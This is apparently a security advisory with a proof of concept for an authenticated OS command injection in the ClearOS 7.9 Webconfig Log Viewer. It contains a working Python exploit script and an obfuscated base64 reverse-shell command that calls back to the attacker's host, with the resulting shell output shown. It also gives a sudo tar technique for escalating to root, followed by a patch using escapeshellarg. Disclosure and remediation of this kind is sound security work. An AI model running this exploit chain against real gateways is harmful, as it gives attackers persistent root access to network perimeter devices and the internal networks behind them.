## https://sploitus.com/exploit?id=2E35D29D-1B0D-50D1-898D-CC0EAF0A7461
# OS Command Injection in Log Viewer Filter Parameter
**Package:** ClearFoundation
**Tested Versions:** ClearOS 7.9.1.342252
**Vulnerability Type:** OS Command Injection (CWE-78)
**Severity:** High
**CVE**: CVE-2026-67599
**CVSS v3.1 Vector:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` (Score: 7.2)
> Thank you to [VulnCheck](https://www.vulncheck.com/) for the help assigning and tracking this CVE-2026-67599 on my behalf.
## Product Description
---
ClearOS is an operating system built on CentOS/RHEL designed to serve as a network gateway, Unified Threat Management (UTM) platform, and edge server for small to mid-sized organizations. Operating primarily as an edge device, it manages firewall rules, VPN connections, routing, and core network infrastructure.
Because ClearOS is deployed at the network perimeter, administrative interfaces like Webconfig (port 81) are frequently exposed to management segments or directly to external networks. A command execution vulnerability in this interface allows an attacker to compromise the gateway, gain a persistence foothold on the edge, and pivot directly into internal network segments.
---
## Affected Files
`/usr/clearos/apps/base/libraries/File.php` โ lines 297, 314
---
## Root Cause
The `filter` parameter submitted to the Log Viewer endpoint is passed unsanitized into a shell command constructed in `File.php`. The `$regex` value is interpolated directly into the command string rather than passed as a properly escaped argument, allowing command substitution payloads such as `$(...)` or backtick expressions to execute as the `webconfig` user.
---
## PoC
I stumbled across this during an active engagement. Here is a simple artifact generator.
```python
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
```
Reverse shell example (attacker on `.1`, target on `.129`):
```
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
```
Confirmed output:
```
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
```
Privilege escalation to root is easily done via default, very permissive sudoers rules:
```bash
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
```
In the example below, using the `tar` binary to escalate to root:
```
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
```
---
## Impact
An authenticated web interface user with access to Reports results in full OS-level command execution as the `webconfig` user. In a default ClearOS 7.9 installation, `webconfig` is granted extensive `NOPASSWD` sudo privileges, allowing immediate escalation to root without additional credentials. An attacker can achieve persistent root access to the underlying host, including all data, services, and network configurations managed by the system.
---
## Suggested Remediation
ClearOS is [End-of-Life](https://en.wikipedia.org/wiki/ClearOS). The latest, still downloadable distribution from [clearos.com](https://clearos.com) (version ClearOS-7.9.1.342252) dates back to October 13, 2021, and receives zero upstream maintenance or security updates.
Because of this, the code fix below is strictly a temporary band-aid. Running an unmaintained OS on your network perimeter is playing with fire. The strongly recommended path forward is to migrate off ClearOS entirely to a supported edge device or UTM platform.
### Temporary Workaround (PHP Patch)
If you must keep this host alive while planning a migration, wrap $regex in escapeshellarg() on lines 297 and 314 of `/usr/clearos/apps/base/libraries/File.php` to change from:
```php
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
```
To:
```php
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
```
Then restart the webconfig service:
```
sudo systemctl restart webconfig
```